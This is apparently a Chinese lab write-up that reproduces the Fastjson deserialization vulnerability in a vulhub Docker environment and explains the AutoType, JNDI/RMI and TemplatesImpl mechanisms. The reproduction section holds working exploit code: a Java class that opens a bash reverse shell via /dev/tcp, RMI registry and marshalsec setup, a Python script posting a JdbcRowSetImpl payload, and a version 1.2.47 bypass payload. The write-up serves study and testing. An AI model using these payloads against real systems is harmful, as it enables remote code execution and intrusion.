1 环境搭建
本文采用vulhub下的fastjson环境
# docker-compose up -d
访问8090端口判断是否能够正常启动
2 Fastjson漏洞原理
0x01 Fastjson简介
Fastjson为阿里开源的一款json字符串处理库,主要操作包含将java对象转换为json字符串(序列化)以及将json字符串转换为java对象(反序列化)
常用方法
Json.toJSONString,将java对象转换为json字符串
Json.parseObject,将json字符串转换为java对象
0x02 漏洞原理
首先看如下伪码示例
interface Animal{
...
}
class Cat implements Animal{
public String name;
...
}
class Dog implements Animal{
public String name;
...
}
利用Fastjson将Cat和Dog转为Json字符串时,分别为如下情况(假设Cat.name="cat",Dog.name="Dog")
{"Animal":{"name":"cat"}}
和{"Animal":{"name":"dog"}}
无法区分具体类,换言之,当对接口类的子类序列化时,只会显示出接口类的名称,因此,出现AutoType
AutoType:在反序列化时指定@type字段,具体区别当前json字符串属于哪一类,添加后,上述字符串变为{"Animal":{"@type":"xxxx.Cat", "name":"cat"}}
和{"Animal":{"@type":"xxxx.Dog", "name":"dog"}}
漏洞原理:当使用autotype时,反序列化过程中会调用该类的setter或getter方法,若@type字段被指定为恶意类,即可实现恶意代码执行等攻击
0x03 JdbcRowSetImpl链
RMI架构
registry,对外提供查询,维护server的方法映射
server,对外提供服务,注册给registry
client,请求远程方法调用,查询registry,调用server提供方法
原理分析
DataSourceName设置为RMI远程调用后,Fastjson反序列化时触发getDataSourceName
由于其中无值,进入setDataSourceName,及setAutoCommit
setAutoCommit中调用connect,connect中又调用lookup(DataSourceName),最终实现jndi注入
jndi注入RCE
Reference r = new Reference(refClassName, insClassName, url)
ReferenceWrapper rw = new ReferenceWrapper(r)
registry.bind(name, rw)
当client利用rmi请求资源时,registry给到一个reference,client会先在CLASSPATH中找对应的类(refClassName),找不到则请求url中的资源动态加载(.class),实例化时(insClassName)会调用static{}和构造函数,实现恶意代码执行
0x04 TemplatesImpl链
CC链中比较常用的一种,用于动态加载bytecode,实现恶意代码执行,此处不做详细分析
大致原理为从TemplatesImpl.getOutputProperties开始,最终走到defineClass加载字节码,实现类加载,如果加载恶意类,将实现代码执行攻击
3 Fastjson漏洞复现
0x01 构建恶意类用于jndi注入
import java.lang.Runtime;
import java.lang.Process;
public class ReverseShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bahs","-c", "bash -i>& /dev/tcp/ip/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译为.class文件javac ReverseShell.java
开启http服务,使资源可以外部访问
创建Registry,并开启registry服务
public class myregistry {
public static void main(String[] args) {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("ReverseShell","ReverseShell","http://ip:port");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("ReverseShell",referenceWrapper);
}
}
不知道为什么自己写的没有生效(悲~),最终用的marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#ReverseShell" 9999
0x02 漏洞利用
利用过程如下
kali侦听在对应端口
编写python脚本发送payload(因为java环境导致burp启动不了,所以只能编写python脚本,也可以用burp)
import json
import requests
url = ''
headers = {
'Content-Type': 'application/json'
}
payload = {
"b" : {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/ReverseShell",
"autoCommit": True
}
}
requests.post(url, data=json.dumps(payload), headers=headers)
print("done")
成功getshell,http、registry请求分别如下
4 其他版本漏洞
1.2.47:1.2.24后引入白名单验证,可以通过TypeUtils.loadClass将JdbcRowSetImpl缓存,再执行
payload为{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } }
第一个字段用于缓存,第二个字段用于利用
5 防御
升级至新版本